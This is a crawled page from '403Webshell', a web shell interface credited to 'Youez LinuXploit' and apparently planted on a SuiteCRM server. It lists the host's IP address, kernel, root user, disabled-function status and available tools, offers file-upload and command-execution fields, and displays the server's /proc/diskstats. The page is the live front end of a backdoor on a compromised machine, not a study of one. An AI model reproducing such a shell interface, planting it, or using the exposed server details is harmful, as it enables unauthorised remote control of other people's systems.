403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.54
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//diskstats
   7       0 loop0 106777 0 220190 47307 0 0 0 0 0 17176 18884 0 0 0 0
   7       1 loop1 140861 0 286276 130910 0 0 0 0 0 25252 64884 0 0 0 0
   7       2 loop2 205143 0 418292 132577 0 0 0 0 0 46032 65336 0 0 0 0
   7       3 loop3 43786 0 90164 35900 0 0 0 0 0 5932 19072 0 0 0 0
   7       4 loop4 85611 0 172980 38739 0 0 0 0 0 9444 11108 0 0 0 0
   7       5 loop5 34237 0 73666 10297 0 0 0 0 0 8224 3340 0 0 0 0
   7       6 loop6 75144 0 156902 52523 0 0 0 0 0 9316 26244 0 0 0 0
   7       7 loop7 367340 0 741808 424944 0 0 0 0 0 80968 246076 0 0 0 0
 252       0 vda 6285822 616731 405446662 2218687 322903595 167333940 6997106756 248357209 0 227223416 38462336 686613 0 1654830670 216864
 252       1 vda1 6249453 592886 405359248 2071223 297558074 167333940 6997106754 241358652 0 226076668 37541408 686537 0 1647180168 216471
 252      14 vda14 239 0 2160 31 0 0 0 0 0 104 0 0 0 0 0
 252      15 vda15 35898 23845 78670 147333 2 0 2 0 0 3776 92372 76 0 7650502 392
   8       0 sda 1300347 113682 116124914 1933854 113766 631057 27930744 826901 0 2209700 968320 20990 0 62569808 17058
 252      16 vdb 103 1 788 8 0 0 0 0 0 48 0 0 0 0 0
   7       8 loop8 80674 0 167120 49031 0 0 0 0 0 16668 21308 0 0 0 0
   7       9 loop9 105402 0 215452 174590 0 0 0 0 0 15696 113140 0 0 0 0
   7      10 loop10 128946 0 264568 106237 0 0 0 0 0 22812 57864 0 0 0 0
   7      11 loop11 1011 0 4074 340 0 0 0 0 0 196 136 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit